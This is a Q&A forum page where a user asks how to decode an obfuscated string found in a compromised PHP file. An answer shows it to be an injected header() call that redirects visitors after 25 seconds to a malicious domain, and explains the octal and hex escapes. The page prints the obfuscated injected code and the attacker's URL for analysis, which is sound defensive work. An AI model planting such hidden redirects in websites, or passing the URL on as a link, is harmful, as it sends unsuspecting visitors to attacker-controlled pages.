Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I found some base64 encoded text in a compromised php file. When I decoded the base64 string, it was the following directive:

header("R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"");

What kind of encoding is that URL string? I thought hex initially, then ascii, but its variable length. I did google, but to no avail. Can someone point me in the right direction?

share|improve this question

1 Answer 1

Warning:

The below URL comes from a compromised website.

Visiting it benefits the attacker financially and might harm your computer.

The string means

Refresh: 25; url="http://fcbarcelonadodocom.info/uk"

\145 is code point 145 (octal), \x66 is code point 66 (hexadecimal).

To verify:

  1. Execute

    php
    
  2. Type

    <?php
        echo "R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"";
    ?>
    
  3. Press Ctrl + D.

share|improve this answer
    
I also tried the string in Python, which printed the same thing. Just as an alternative option for the OP. (Just var = "R\145\x66..." and print(var) in IDLE or wherever). –  nerdwaller Mar 24 '13 at 22:20

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.